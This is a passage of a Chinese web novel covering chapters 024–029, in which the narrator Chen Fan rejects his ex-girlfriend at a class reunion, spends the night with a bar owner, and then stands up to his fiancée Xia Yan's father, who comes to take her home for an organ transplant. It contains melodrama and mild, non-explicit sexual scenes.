就在我们聚会分为最热烈的时候,包厢的门被推开了,一个熟悉又陌生的人站在门口,苏韵。
她应该是精心打扮过的,她将头发都放下,选择了披肩发,她穿着紧身长裤,将身材外露出来。
“喂,苏韵,你来干什么?是看我们凡子出人头地了,想来再续前缘?!”
张帆直接从酒桌上站起来,指着苏韵就骂道:“我兄弟这些年对你怎么样?你自己心里没数么?当初你和冯天宇干的那叫什么操蛋事,现在冯家倒了,你就回来找凡子?你有劲没劲儿!”
原本热闹的聚会,因为苏韵的出现,变得有些尴尬,我没想到苏韵这么执着,竟然还敢出现在我组织的同学会上。
打仗亲兄弟,上阵父子兵。
看来真心拿我当兄弟的,也就是张帆,也就他替我说话,剩下的那些人,就是看热闹的。
张帆的话说的苏韵的脸一阵红,一阵白,她一直在看我,她的眼神里有乞求,有愧疚,有后悔,她在众人看戏的眼神里,一步一步小心翼翼的挪到我的面前,曾经的高傲荡然无存,只剩下卑微试探。
我倒想看看,这个绿茶,今天还能玩出什么新花样?
“陈凡……”
苏韵声音带着哭腔,她噗通一声,竟然跪在了我的面前。
这一幕,让包房里的人面面相觑。
她仰着头,满脸是泪的哭着说:“陈凡,我知道错了,我真的错了,当初我也是被冯天宇那个人渣给骗的,离开你,是我做过最后悔最愚蠢的事情。”
“陈凡,求求你在给我一次机会,没有你我真的活不下去了,我宁可向你下跪,只求你在看我一眼。”
她跪在地上,哭的上气不接下气,同学拉她,她都不起来,她就是想把我架在这里,玩苦肉计,逼着我原谅她。
她还真是煞费苦心啊!
我没有在看苏韵一眼,我对她只有恶心和厌恶,她不嫌丢人,想跪多久就跪多久吧。
就在这时,包房的门再一次被推开,柳媚笙举着酒杯,摇曳生姿的走了进来,她看了一眼跪在地上的苏韵,红唇勾勒出一个似笑非笑的弧度。
“陈总这里真是热闹啊,看来我来的不是时候啊!”
柳媚笙的一席话,让苏韵的哭声戛然而止,她抬起头,看着面前这个气场强大,最具风情的女人……
024姐姐想你了!
柳媚笙侧身倚靠在我的椅子上,她妖娆的身姿,妩媚的容颜,浑身散发出来的成熟的女人味,吸引住了在场所有人的目光。
她没有多看一眼跪在地上的苏韵,而是将所有的目光都汇聚在我的身上。
她的眸子多情又温柔,我与她对视,她就莞尔一笑,让人如沐春风。
我坐在椅子上,转过头,看着柳媚笙笑着道:“柳老板大驾光临,怎么能说来的不是时候呢?我们都想一睹柳老板的风姿。”
“那这是……什么节目?”柳媚笙眼睛瞄了瞄还跪在地上的苏韵,眼神里多了几分醋意。
“私事而已,没什么大不了的。”
我声音低沉,没带一丝的情感,我真的怀疑苏韵的脑袋里是不是灌水了,她怎么能想出来要当众给我下跪这个损招?
难道她跪下认错,我就会原谅她?
拜托,都是成年人,做事前能不能过过脑子,她这么做,只会让我更加的厌恶她,只会扫了大家的兴致。
“私事?”柳媚笙举起了手中的酒杯,向我碰杯道:“陈总的私事还的是……别具一格啊!”
柳媚笙嘴角挂着醋味深长的笑容,我心里想:不好,这女人要是吃起醋来,那可真是不好哄啊。
“我也没办法,本来和同学们玩的很好,没想到让人给骚扰了。”
我轻轻碰了碰柳媚笙的红酒杯,然后轻泯了一口,向柳媚笙抛去了一个眼神,她立即心领神会。
柳媚笙用高跟鞋轻轻碰了碰苏韵,冷冷道:“这位小姐,戏演完了吗?演完了就让开,别耽误我和陈总谈事情。”
柳媚笙轻描淡写的几句话,就是最狠的逐客令,她讲苏韵的尊严按在地上摩擦,同学们望向苏韵的眼神里,更多的是怜悯。
我一脸的无所谓,我甚至在想,如果当初我没有选择夏颜,没有赶走冯天宇,那现在跪在地上的人,会不会是我陈凡。
苏韵现在承受的一切,都是她活该。
苏韵身形一颤,她显然被柳媚笙的话给刺激到了,她颤颤巍巍的站起身,与柳媚笙平视,可她眼里的自卑却已经让她处于下风了。
“你是陈凡什么人,你凭什么赶我走!”
苏韵凭着最后的倔强,竟然敢质问柳媚笙。
柳媚笙眉毛一挑,面色不悦,显然她是觉得被苏韵冒犯到了,她冰冷道:“就凭我是这家酒吧的老板,你已经打扰到我的顾客,如果你还赖在这里不走,我会让保安请你出去!”
柳媚笙故意在请这个字上加重了音,她说的很客气了,没说轰走就不错了。
“陈凡!”苏韵忽然提高音量,她质问我道:“你就眼睁睁看着她欺负你的前女友么,别忘了,我们在一起五年!你就这么没良心么!”
苏韵从原本的谦卑变成了怒目而视!
显然,她已经演不下去了,我已经看透她的把戏。
“够了!”
张帆一声怒吼,镇住了整个场面,他大声斥责道:“苏韵你有完没完!你是听不懂人话,还是不知道陈凡有女朋友了,那我现在告诉你,陈凡对象叫夏颜,懂了吗?”
“一场好好的同学聚会,你看看给大家搅合成什么样?什么叫陈凡没良心,陈凡当初就是对你太好了,把你惯的不像样,你有什么资格在这大呼小叫,你和冯天宇勾搭的时候,你就有良心了吗!现在后悔了?别在这恶心我了!”
“陈凡!”苏韵红着双眼,愤怒的看着我问道:“你就任由他欺负我吗?”
“呵……”我面无表情道:“是你非要来自取其辱的,跟我有什么关系?我们两个早就两清了。”
“不会两清,只要我不断,我们就断不了!”
我没想到苏韵如此的固执,固执的让人不可理喻。
柳媚笙用手里的对讲机说道:“保卫处的人,来套房,这里有人闹事,你们给我清出去!”
柳媚笙的耐心已经用尽,她非常讨厌苏韵,因为这个女人一点自知之明都没有,她也懒得和苏韵废话,一切交给保安就好了。
门外顿时传来一阵阵的脚步声,不过几十秒,门口就冲进来一群保安,柳媚笙指了指苏韵,保安们直接架着苏韵,给她抬出了包房。
“陈凡,我恨你!”
“你们都欺负我!你们还算男人么!”
“我恨你们!”
走廊里传来苏韵撕心裂肺的哭声,这让整个套房显得更加的尴尬,这场闹剧,最终以苏韵被请出去而收场,说实话,挺难看的。
包房里的同学们面面相觑,大气都不敢喘,因为柳媚笙的气场强大,他们不敢相信长相如此妩媚的女人,做事会这么狠。
“各位……”柳媚笙转过身,面对大家,露出了一个标志性的笑容,道:“实在是不好意思,我没看好场子,让大家扫兴了,今晚的所有开销,都由我买单,也算是给陈总助兴了!”
柳媚笙举起酒杯,干了杯中剩下的红酒。
众人也都纷纷举起酒杯,一起干了杯中的酒,甚至有几个男生,还主动向柳媚笙示好,柳媚笙和他们谈笑风生,她是混场子的,她轻车熟路,不过几句话,就让大家哈哈大笑。
柳媚笙时不时的还瞟了瞟我,她想看我的反应,看我会不会吃醋,这个女人,还真是玲珑心,精明的很!
柳媚笙简单喝了几杯,就离开了包房,我和同学继续喝酒。
几瓶酒下肚,大家都喝嗨了,一起打开KTV唱了起来。
“朋友一生一起走,那些日子不在有。”
“一句话,一辈子,一生情,一杯酒。”
“朋友不曾孤单过,一声朋友你会懂。”
“还有伤,还有痛,还有你,还有我。”
这几句简单的歌词,是毕业后真实写照,以前的朋友都是同学时候相处下的,现在尽管工作了,可单位里,哪有什么真心朋友。
每个人的眼睛里,都有着对过往的回忆。
仿佛校园时光,才是我们最青春,最值得怀念的岁月。
滴滴。
我的手机短信忽然响了。
我打开一开,是柳媚笙发来的。
“陈总,忙完了吗?我这里新到了一套私服,你想让我穿给你看么?”
滴滴。
柳媚笙又发了一个地址给我,温泉别墅。
她这是又玩什么花样?还私服?我直接回了她消息:等着!
025柳媚笙的变装!
聚会结束后,我喊了一个代驾,赶往柳媚笙的温泉别墅,顾名思义,这里应该有私汤。
柳媚笙,确实是会享受。
代驾看了看后视镜,说道:“老板,您年纪轻轻就开迈巴赫了,真厉害。”
“没什么厉害,就是娶了个有钱的老婆。”
我实话实说,我陈凡能有今天,就是登上了夏颜这条船。
“老板真谦虚,能娶到有钱的老婆,也是本事啊,我想娶人家还看不上我呢!”
不得不说,这个代价师傅很会说话,可能这就是他的本领,到了温泉别墅,我直接扔给师傅一百元,说道:“不用找了。”
“谢谢老板,祝老板生日兴隆,日进斗金。”
我呵呵一笑,摆了摆手,走进了别墅区。
我来到柳媚笙的别墅,推开门,一股夹杂着硫磺味的水汽铺面而来,想必,柳媚笙应该是准备好了温泉,她是想邀我一起泡温泉?
夜晚,灯光不是那么亮,在加上雾气缭绕,我走了几步,才看见温泉边上站着一位佳人,她穿着一身的空姐服装,藏蓝色的短款西装外套,包裹着她丰满的身姿,内搭的白衬衫解开了两颗纽扣,露出她精致的锁骨,黑色的短裙将她笔直的双腿勾勒的淋漓尽致。
我微微一愣,不知道柳媚笙弄的是哪出?
“柳姐,你这是……”
“陈老板,欢迎你乘坐本次温泉航班,我是本次航班的乘务长,柳媚笙,很高兴为您服务!”
我天!
柳媚笙竟然开始给我演上了,她这是要跟我玩角色扮演?还是今天她被苏韵刺激了,回家就跟我玩美人计。
我发现了,这些极品女人们,真是一个比一个心眼子多,我要不藏点心眼,搞不好哪天被她们卖了,还要替她们数钱。
“服务?什么服务?捏脚,揉肩,还是捶背?”我也配合起来柳媚笙。
柳媚笙嫣然一笑,踩着高跟鞋一步步向我走来,夜灯下的她,每走一步,媚态翩然,摇曳生姿,我望着她,不禁有些入迷。
这种成熟的女人,就像诱人的水蜜桃,尝了,就不想撒口。
“陈总,我可以为你提供一切服务,只要你想,我什么都可以满足你……”
柳媚笙的话还没有说话,我直接抱起她,两个人一同倒向水池。
“那就洗鸳鸯浴吧!”我在她耳边轻呼。
柳媚笙被我的动作吓到了,她啊的一声惊呼,显然是没有想到我会这么疯狂,连浴袍都不换,直接进了泡池。
柳媚笙整个人倒入温泉里,她浑身湿透了,秀发都贴在了脸庞上,这让她看起来颇有古典美,好像是唐朝的贵妃。
“讨厌!你怎么那么坏,我还没演够呢,你就把我扔水池了。”柳媚笙靠在我的怀里娇嗔道。
“你还想演什么啊?”我好奇的问。
“怎么了,就允许苏韵给你演苦肉计,我就不能演戏了?”柳媚笙翘起嘴巴,有点不太高兴。
“你吃醋了?”
我微微一笑,心里略爽,试问:哪个男人不喜欢女人为自己吃醋呢?
“你啊,明知故问,就是想听我说是对不对?”柳媚笙在水中握住了我的手,她斜靠在我的怀里,道:“能把冯天宇搞到手里,这个苏韵还是有点手段的,好在小弟弟你总算开窍了,没被她的花言巧语给迷惑,不然姐姐真要哭死了。”
“吃惯了好猪肉,还怎么吃烂肉。”我握了握她的手,一脸坏笑。
“讨厌,你竟然说我是猪!”柳媚笙在我的胳膊上掐了一下。
我侧过头,看着怀里的尤物,她身上的制服被水浸透,紧紧的包裹着她的身体,几缕湿发贴在她绯红的脸颊上,为她平添了几分媚态。
温泉里的水很暖,让我身体得到了放松,柳媚笙随后将我带回了别墅,她专门有一个按摩房间,为我按摩。
我眯着眼睛,享受着柳媚笙为我的服务。
我心里暗笑:这就是长的像白月光的好处么?可以享受别的男的享受不到的待遇。
柳媚笙调查过我,我也打听过她,张帆说柳媚笙在海城很牛,无论各行各业,她都有人脉。
海城流传一句话,在海城,就没有柳媚笙摆不平的事情。
我不禁也好奇,像她这么厉害的女人,当初到底得罪了谁,能把阿峰给捅死了。
柳媚笙按摩手法很娴熟,也很温柔,就在我快要睡着的时候,她的一句话让我清醒了。
“夏颜最近是不是遇到麻烦了?”柳媚笙轻声道。
“嗯?怎么回事?”我立刻起身,反问道。
“你看看你,一提到夏颜就紧张的不行,真是让姐姐羡慕嫉妒啊!”
柳媚笙又开始吃起了飞醋,我一把拉过柳媚笙,将她搂在怀里,哄着她说道:“柳姐,你是不是听到什么消息了?”
柳媚笙搂着我的手臂,点了点头,道:“海城最近来了不少人,背景很深,来头很大,他们好像就是奔着东郊那快地来的。”
“东郊?!”
我心中一紧,那不就是我和夏颜的资本核心么,没想到凡颜资本刚得手,就有人惦记上了。
“知道来的人是谁吗?”我声音低沉,一改往日的玩笑。
“秦家,秦悦。”
四个字。
简简单单,却带着一种让我不能小觑的分量。
“秦家很厉害?”我问。
“相当厉害。”柳媚笙说道:“夏家想要巴结秦家,一直都没有巴结上。”
我懂了,也就是说夏颜的家庭背景不如秦家。
柳媚笙起身,从沙发上拿过来手机,递给我看:“这是昨晚在一个私人酒会上拍到的。”
照片上,是一个女人的身影,她站在酒会的中心,穿着一身剪裁极佳的昂贵礼服,她肌肤如雪,脖颈修长,她长着一条优美的下颌线,让她整个人散发着一种明艳高贵的气质。
“她叫秦悦,25岁,常青藤名校毕业,精通多国语言,据说掌握操控秦家上亿资产,是秦家这一代出色后辈之一,也是秦家老爷子最喜欢的孙女。”柳媚笙坐在我的身边,接着道:“她这次来,目标很明确,就是为了东郊那块地,而且,她对你好像特别感兴趣。”
“对我感兴趣?”我微微一愣。
026夏颜也要玩变装?
我跟秦悦无冤无仇,她一个千金小姐,为什么会对我产生兴趣?
柳媚笙似乎早就料到了我会这么问,她甩给我一个白眼,道:“想一下你最近在海城的所作所为,先是泡到了夏颜,又在酒会上公开撕逼冯天宇,最后以迅雷不及掩耳之势除掉冯家,这些动作,在有些人眼里,是潜力股,在有些人眼里,就是绊脚石……”
柳媚笙的话似乎提醒到了我,人和人之间的交往无非就是利益两个字,也就是说,我们吞并冯家触碰到了秦家的利益?
“你觉得,秦悦是来对付我的?”我问。
柳媚笙依偎在我的怀里,手指温柔请的在我的胸肌上画着圈,她语气凝重道:“我觉得有这个可能,我听说秦悦一来海城就调查你,她这次来可不是一个人,而是带了一个团队过来。”
听到这个消息,我的脸色有些凝重,没想到麻烦这么快就找上门?这个秦悦到底是因为什么,紧紧只是因为东郊那块地?
柳媚笙见我神色凝重,她摸了摸我的脸,亲吻我的唇,然后心疼道:“看来我的小弟弟要遇到麻烦了。”
我没有说话,只是搂着她的手更紧了。
似乎是感受到我的柔情,柳媚笙刮了刮我的鼻子,贴着我的耳朵说道:“小弟弟别担心,姐姐怎么能眼睁睁看着你被欺负呢?我会把眼睛闭上的。”
噗!
我忍不住笑出声,这个柳媚笙,可真是会折磨人,如果秦悦真的对我出手,我也没想过让柳媚笙帮我,成年人,都是利益,走心的能有几个?
况且柳媚笙对我有几分真心,我还不清楚。
“傻弟弟。”柳媚笙忍不住在我的唇上又亲了一口道:“改天姐姐给你介绍几个有实力的富婆认识,能不能和她们搭上关系,就看弟弟你的本事了……”
“那就要多谢柳姐了……”
我知道,这是柳媚笙在给我机会,向上社交的机会,她口中的富婆应该来头都不小。
“那你今晚要多卖力气啊,姐姐可喜欢了。”
“姐姐今天这套制服,就是专门为你准备的呢。”
“傻弟弟,你一点不懂怜香惜玉,竟然把我扔进泡池,我要你补偿我……”
柳媚笙说着就扑在了我的身上,我翻身将她压在身下,在她咯咯的笑声中,我开启了征伐,整个屋子都弥漫着暧昧……
早上起床,柳媚笙就赖在我的怀里,她不是摸我的脸,就是摸我的鼻子,一副摆弄我的样子。
“陈凡,我越来越喜欢你了。”她看着我的脸,说道:“越看你越觉得你帅气。”
“是喜欢我在床上吧?”我坏笑着问。
女人喜欢坏男人,但不爱长坏了的男人,男人只要长的不是太丑,在有点坏,在有点技巧,女人会爱不释手。
“是啊,姐姐满足了,今晚就不留你了,快去找你的夏大小姐吧。”
柳媚笙咯咯笑着起身,在我面前转了一圈,然后才将睡衣披在了身上。
“睡完我就不认账了?”我故意问道。
“谁不认账啊,不是弟弟你天天夏颜长,夏颜短的挂在嘴边么?还老说自己是她第一个男人,姐姐我可是有自知之明的人,我哪敢和你的大房争宠呀~”
柳媚笙故意提高语调,这话听起来醋意十足。
我赶忙从床上跳起来,将她搂在怀里,她想要挣脱,却根本挣脱不开,我搂着她的腰,狠狠地亲吻她,直到她整个人都瘫在我的怀里。
“姐姐,以后可别这么说,我会心疼的,你也是我的女人,我会爱护你的。”
我的一番情话让柳媚笙眉开眼笑。
“就是要你心疼我,只有你心疼我,姐姐才觉得活的有滋有味。”
和柳媚笙腻歪一阵,我就要去找夏颜,和上次一样,我又去商场买了一身新衣服。
当我来到凡颜资本的时候,发现夏颜并没有在公司,问了员工才知道,夏颜加班到早上,现在应该是回家休息了。
我心中不免有些心疼,马上开车回家找夏颜。
当我回到家后,发现夏颜正躺在床上熟睡,我脱了外套,钻进被窝里,夏颜睁开眼睛,看到是我,她搂着我的脖子,亲了我一口,继续睡着了。
直到晚上,夏颜才睡醒,她睁开眼睛第一句话就是:“老公,从今天开始,你就是凡颜资本的董事长了,我就做你的老板娘好了,这是我送你的第一个礼物。”
我在夏颜的额头上亲了一口,温柔道:“你就是我最好的礼物,这些天真是辛苦了,老公很心疼。”
“哼,亏你还算有良心,那你就要疼我一辈子喽。”夏颜忽然搂着我的胳膊,哄着我说道:“我这么辛苦,老公你该怎么奖励我啊?”
“我的命都给你了,你还想要什么奖励?”我问。
“哎呀,你怎么这么不懂风情呢~”说着,夏颜趴在我的耳边,笑嘻嘻道:“老公,我觉得你八块腹肌好帅,身材棒棒,我给我走秀怎么样?”
“走秀?”我问。
夏颜大刺刺的点头,然后一脸兴奋道:“我给你买各式各样的花裤衩,老公你穿给我看,给我来个内衣走秀怎样?”
我丢!
原来这大小姐在这里等着我呢?
“你可真骚。”我刮了刮她的鼻子,一脸的宠爱。
夏颜抛给了我一个媚眼,道:“你们男人,不就是喜欢骚的么?”
“我可没说啊。”
“你还用说么,你那双色眯眯的眼睛,就像CT扫描仪一样,早就把我看光了吧。”
“猪肉有什么好看的。”我冷哼一声。
“陈凡,你特么的,又说我是猪,看我不锤烂你!”
夏颜说着就翻身,骑在我的身上,然后开始捶我,只不过她的动作很轻柔,我也不还手,任由她的打闹。
夏颜自从和我再一起后,我感觉到她的笑容变多了,只要见到我,她的脸上就会挂着幸福的笑容。
咚!咚!咚!
一声声敲门声响起,声音很大很急,好像带着一种命令的意味。
“来了!”
夏颜的脸色忽然大变,刚才的幸福和笑容都消失了,取而代之的是一脸的警惕和凝重。
“谁来了?”我着急的问道。
“夏家来抢人了,陈凡,你怕么?”
027夏颜的恐慌!
“只要我在这里,就没有人能把你带走!”
我目光如炬,眼神犀利。
不管今天外面来的是谁,想要从我手中带走夏颜,先问我的拳头同不同意!
夏颜深吸一口气,好像在蓄积勇气,她犹豫了一下,然后打开了门。
门外,站着两个人。
站在前面的是一个大概五十多岁的男人,他穿着奢华考究的顶级西装,头发梳理的根根分明,手上带着一款限量款的百达翡丽手表,仔细看去,男人的面容竟和夏颜有几分相像,他眼神深邃,不怒自威,好像在审视和我夏颜。
如果我没猜错,他应该就是夏颜的父亲,夏家掌门人:夏振宇。
夏振宇的身后一步距离,还站着一个身材魁梧高大的男人,他眼神警惕的看着四周,眼神如刀,看样子应该是夏振宇的保镖。
夏颜看到夏振宇身后的保镖,她下意识的就抓紧了我的手,她呼吸有些急促,我知道,她不是紧张,就是害怕。
我同样握紧她的手,示意她不用担心。
夏颜和夏振宇四目相对,谁也没有说话,空气都要凝固了。
当夏振宇的目光落在夏颜牵着我的手时,他终于忍不住,开口了。
“夏颜,跟我回家!”
夏振宇声音浑厚有力,但又带着一种近乎命令似的冰冷,从头到尾,他都没有瞧过我一眼,看来他打心眼里,就没把我放在眼里。
夏颜身体微微颤抖,她甚至有些恍惚,我能从她的表情里看出愤怒,显然她对夏振宇有不满的情绪。
“你做梦!”
夏颜留下了一句话,她直接就关上房门,想要将夏振宇拒之门外。
可那个保镖见状马上上前,用胳膊挡住了房门。
“在说一遍,跟我回家。”夏振宇声音冰冷,下了命令道:“我不是在和你商量,这是命令!”
命令?!
这两个字就像是两把刀一样插入夏颜的心上,太窒息了,我一个外人听着都听不下去了。
“家?!”夏颜迎着夏振宇的目光,她质问道:“什么家?当你们把我赶出夏家的时候,我还有家么!”
“不管你认不认,你身体里都流着夏家的血!”
夏振宇面无表情,只不过他说话的声音比刚才要高的多,显然,他被夏颜的话给气到了。
“呵呵……”夏颜握紧双拳,语气冰冷道:“那我问你,我被冯天宇绑在仓库要被糟踏的时候,你在哪里?我被家族当成货品明码标价联姻的时候,你又在哪里?现在看我吞了冯家,你就出现了?”
夏颜的质问犹如冰冷的刀,刺向了夏振宇,他嘴唇带动了动,可最终却没有说话。
“冯天宇的事情,他会付出代价,你闹也闹够了,现在必须跟我回家,你的母亲很担心你。”
“那不是我妈,那是你找的小老婆!懂么!”
夏颜的愤怒就如同洪水,顷刻间爆发。
“当初是你把我赶出家门的,那时候你的小老婆怎么不关心我,当我被家族强绑着和冯家联姻,他怎么不关心我?现在是她的女儿生病了,需要我了,你们才想起我了吧!”
“放肆!”夏振宇怒道:“那是你妹妹,亲妹妹,你要见死不救吗!”
“你们谁曾救过我妈!夏雨的命是命,我妈的命就不是命吗!”
说道母亲两个字,夏颜的泪水在眼圈里打转,可坚强的她,始终没有让泪水掉下来。
听到这里,我觉得很压抑,看似古灵精怪的夏颜,原生家庭竟然这么的不幸福,夏颜说的那些话,就是她的痛苦过往,我听着心疼。
夏颜一连串的质问,气的夏振宇身体都颤抖,可他被怼的一句话都不说,就连旁边的保镖都有点听不下去了。
显然,这个保镖是知道什么事的。
“夏颜,我是你爸,你知道不知道,你在跟谁说话!”夏振宇绝口不接夏颜的话,他指着我问道:“他是谁!”
夏颜挽着我的胳膊,向前迈了一步,她一脸骄傲的说道:“这是我未婚夫,陈凡!”
夏颜身体紧紧的靠着我,我能感受到她身体轻微的颤抖,在面对夏振宇的时候,她的内心还是恐惧害怕,而我,就成为了她的主心骨。
她没有说我是她的男朋友,而是未婚夫,这就是对夏家的一种宣告。
夏振宇的目光锁定在了我的身上,他从头到尾的打量着我,眼神里满是不屑和嫌弃,夏振宇嘲讽道:“一个来历不明的男人,就是你的未婚夫?夏颜,你的眼光真是越来越独到了!”
夏振宇的嘲讽让我心里很不爽,既然夏颜已经公开了我的身份,我也不在藏着掖着,我不可能让夏颜面对夏家的暴风雨。
“夏先生!”我故意高声一吼。
我声音洪亮有力,一个吼声,将夏振宇吓了一跳,他的保镖瞬间挡在了他的面前,警惕的看着我。
我握紧了夏颜的手,然后将她的手高高举起,像是一种宣誓,我说道:“我叫陈凡,是夏颜的未婚夫,我不是你口中来历不明的人,你可以去调查我,想必,我的履历,应该会让你刮目相看。”
我与夏振宇对视,我目光冰冷,却有着从容不迫,我在心里,压根就没看的起夏振宇,一个能把女儿的幸福当做交易品的人,他还算是个人么?
“夏先生,冯天宇已经被我打废了,被我赶出了海城。”
我向前迈了一步,想要给夏振宇一种威慑,他的保镖同时挡在了夏振宇的面前,夏振宇拍了拍保镖,示意他让开。
我盯着夏振宇,声音冰冷道:“我不管你们夏家什么规矩,什么脸面,你想要带走夏颜就是不行!我不管你是谁,你有什么背景,如果你敢动夏颜一根汗毛,我会后悔让他生出来,我陈凡,说到做到!”
死寂!
我的话既是威胁又是一种威慑!
夏振宇的脸色出现了变化,他在看向我的时候,不再是鄙夷和嫌弃,而是一种震惊和难以置信。
他不敢相信我一个愣头青,会跟他这么说话。
夏振宇死死的盯着我,许久,说了一句:“如果我今天非要带走夏颜呢!”
“那你可以试试看!”
说着,我脱下了衣服,撸起了袖口,冷冷道:“我不在乎在打废一个人!”
028夏颜的故事!
我不管你是什么夏振宇,还是什么保镖。
敢动夏颜一根汗毛试试?
老子打架,就从来没输过!
“呵!”夏振宇听了我的话,他嘴角勾起一个不屑的笑容,对着面前的保镖说道:“阿战,把小姐带走,我在楼下车里等你。”
“是,老板。”保镖阿战点了点头。
“什么东西,也配和我叫嚣?”
夏振宇进电梯前,看着我,眼神不屑,面如寒冰的留下这么一句话。
我转过身,对着夏颜说:“你进屋子里待会儿,要不然该伤到你了。”
我不想让夏颜在门口,这里不过几平方米,拳脚无眼,要是伤到夏颜,我会心疼。
夏颜摇了摇头,道:“我不会走,我就是要看着你,我才会放心,陈凡,无论生死,我要和你一起面对!”
夏颜的坚定让我动容,娶妻当如此!
我点了点头,示意夏颜往后退一退,我知道,这个阿战应该和我一样,是个退伍兵,从他的言行举止,就能看出来。
“你当过兵?”我问。
“三年。”阿战反问我:“你也当过?”
“狼牙特种,五年,陈凡。”我说道。
阿战忽然眼神一亮,道:“你就是那个连续五年全国比武,蝉联第一名的,兵王陈凡?!”
“没错!”我冷冷问到。
“向兵王敬礼!”
阿战挺直背脊,眼神真挚,向我敬礼,我同样回礼,这是男人们的惺惺相惜。
“陈哥,我听过你的事迹,当年在国外执行反恐任务,你身中子弹,还将受伤的战友背了回来,你真厉害,兄弟我佩服!”
“还有那次抓捕世界毒枭,你一个人单刀直入,干掉了对方的老巢,直接生擒毒枭,陈哥,你真给咱们长脸!”
“还有那次,你趴在树上三天三夜,击毙了罪犯,那可是热带雨林啊,那得多热啊,陈哥,你是怎么扛下来的?”
阿战说的滔滔不觉,说的眉飞色舞,我没想到面前这个魁梧的男人,竟然对我的事迹了若指掌,但这并没有放松我的警惕心。
“还打么?”我问。
阿战摇了摇头,道:“陈哥,我没有办法对英雄动手,我……也打不过你,可是,拿人钱财,替人办事,老板让我带走小姐,不然我没法交差。”
“那你想怎么样?”我问。
阿战看了看我,也看了看夏颜,然后说道:“想个办法糊弄老板就行了,那又不是我的爹,给我的工资也不是很丰厚,我也没必要为他卖命。”
呵呵……
我看了看夏颜,我们两个人都笑了,这个阿战挺有意思,脑袋挺灵活。
还没等我开口说话,只见阿战对着防盗门,砰砰砰!连打了几拳,防盗门上立即凹陷了下去,然后阿战又对着防盗门砰砰砰踹了几脚,同样留下了脚印。
“你小子力量不小啊!”我赞许道。
“还行,跟陈哥比不了,但对付一般人,还是不成问题的。”
“你的手?”夏颜指了指阿战的手。
我抬眼望去,阿战的手都已青了,右手还出血了,可见他刚才用力有多猛。
“没事的小姐,不这样卖力气,老板不会相信的。”阿战嘿嘿一笑,露出一副憨憨的面容。
“你就打算这么交差?”我问。
“嗯!”阿战点了点头,道:“我就跟老板说,我跟你打了起来,你身手极快,躲进了屋子里,反锁了门,我进不去,带不走小姐。”
哈哈!
我忍不住笑出了声,笑着拍着阿战的肩膀,道:“好兄弟,有时间一起喝酒。”
“好嘞,陈哥,我还想听听你给我讲你的事迹呢!”阿战一脸崇拜的看着我。
“没问题。”
“君子一言!”阿战向我伸出了手。
“驷马难追!”我握住了阿战的手。
夏振宇的出现,让我的心情很压抑,一个是他对夏颜的态度,另一个是我对夏颜处境的担忧,夏家如此咄咄逼人,想来夏颜这些年过的很不容易。
但没想到,阿战这小子竟然是我的头号粉丝,这让我不禁有些意外,等他走后,我笑着对夏颜说:“这就叫不战而屈人之兵吧。”
夏颜搂着我的胳膊,白了我一眼,道:“呦呦呦,兵王先生,没想到吧,在我这里,还能遇到你的粉丝,我的兵王先生,可真是有魅力呢!”
“那看看,你男人的威武雄风,你还没有看到过呢!”我毫不谦虚的说道。
“老公,那你要是和这个阿战动手,你有几分胜算啊?”夏颜趴在我的身上,好奇的问我。
“我能打的他看不到明天的太阳。”我说。
“啧啧!粗鲁的男人!”夏颜娇嗔道:“你以后该不会打我吧?”
夏颜捂着嘴,一脸担忧,娇滴滴的喊道:“哥哥,我好怕呀,我一个弱女子,手无缚鸡之力,呜呜,你不要欺负人家。”
夏颜说着就跑进了屋里,然后一头倒在沙发上,她抱着枕头,假装呜呜的哭着。
我心里觉的好笑,她又开始演戏了,这样也好,就算是冲散了刚才夏振宇给她带来的恐惧。
我故意走到夏颜面前,我说道:“你这么会演戏,我真想娶你回家。”
“啊哈?是不是觉得本小姐演技一流,台词一流,把我娶回家,就不用买电视机了?”夏颜一脸自信的说道,显然她是对自己的演技容貌相当有信心。
“不是。”我摇了摇头。
“那是什么,陈凡,你给我说,要是说不出理由来,本小姐绝对不会放过你!”夏颜站在沙发上,双手叉腰的问我。
“我想把你娶回家,然后把你挂在树上,一天打你八遍。”我一脸正经的说道。
“当真?!”夏颜仰着脖子问我。
“当真!”我点了点头。
“果然?!”夏颜再一次问我。
“果然!”
“你妹的陈凡,你竟然还想把我挂在树上,你看我不打死你!”
说完,夏颜嗖的一下,就从沙发上跳到了我的背上,她骑着我,捶打我的肩膀,只不过动作温柔了许多。
“我们老家,就是把猪肉挂树上风干的!”
“你妹的,你还想给我做成风干肉干,啊啊啊,亏我还要嫁给你呢!坏男人!”
夏颜一路追打我,我一路跑到卧室,门一关,我将她推倒在床上。
她哼了一声,然后温柔的在我耳边说:“今晚不戴套了,我要给你生宝宝!
029夏颜的撒娇!
春宵一刻值千金。
我和夏颜恩爱过后,就躺在床上,说着知心话。
“现在能和我说说,你的过往了吗?”
我下意识的搂紧了夏颜,我知道,只要提到夏振宇,她本能的就会恐惧,提到夏家,她本能的就会排斥。
夏颜使劲儿的钻进我的怀里,好像这样,就能带给她安全感一样。
“我是夏振宇的私生女,当年夏振宇始乱终弃,抛弃了我的母亲,在加上他小老婆对我母亲的迫害,我母亲常年抑郁,得了重病,不久,就离开了人世。”
“后来,我被接回了夏家,可那时候,夏家所有人都不认可我的身份,对我非打即骂,我那时候,我特别渴望上学,只有去上学,我才能离开家,选择初中高中,我都会选择寄宿学校。”
“在后来,我来到海城读大学,为的就是离他们远远的,可没成想,夏家竟然给我安排了一门婚姻,就是冯天宇。”
“这次,你就该懂了,我为什么和你联手报复冯天宇了吧?”
夏颜抬起头,她认真的看着我,道:“我来到海城,创办自己的公司,投资赚钱,我以为我这样就能摆脱夏家,没想到他们还想掌控我。”
“夏振宇的小女儿生了病,就要我给她做器官移植,凭什么!他们谁曾可怜过我母亲!谁曾帮助过她!”
夏颜声音颤抖,说的越来越愤怒,道:“他们要了我母亲的命,现在还要来要我的命吗!”
我听着愤怒不已,我真后悔放走了夏振宇,刚才,我就应该狠狠揍他一顿,他这种人,怎么配为人父!
“放心,只要有我在,我不会让你受到伤害的!”我狠狠的搂住了夏颜,她也感受到了我的珍惜。
她抬起头,深情的看着我,道:“我第一次看到你的资料的时候,我就在想,这世上,怎么会有这么傻的男人?为一个女人,花光了钱,付出了时间和精力,后来接触到你,我才明白,那叫重情义。”
“那晚被冯天宇绑架,我心里其实害怕极了,我当时脑袋里想的就是你,我感觉只有你才能来救我,我甚至告诉自己,如果你能来,我这辈子都要和你在一起。”
我现在才知道,我的行为已经让夏颜充分的信任和依赖,她将我视为主心骨。
“我们会在一起的,谁都不能将我们拆散。”我说。
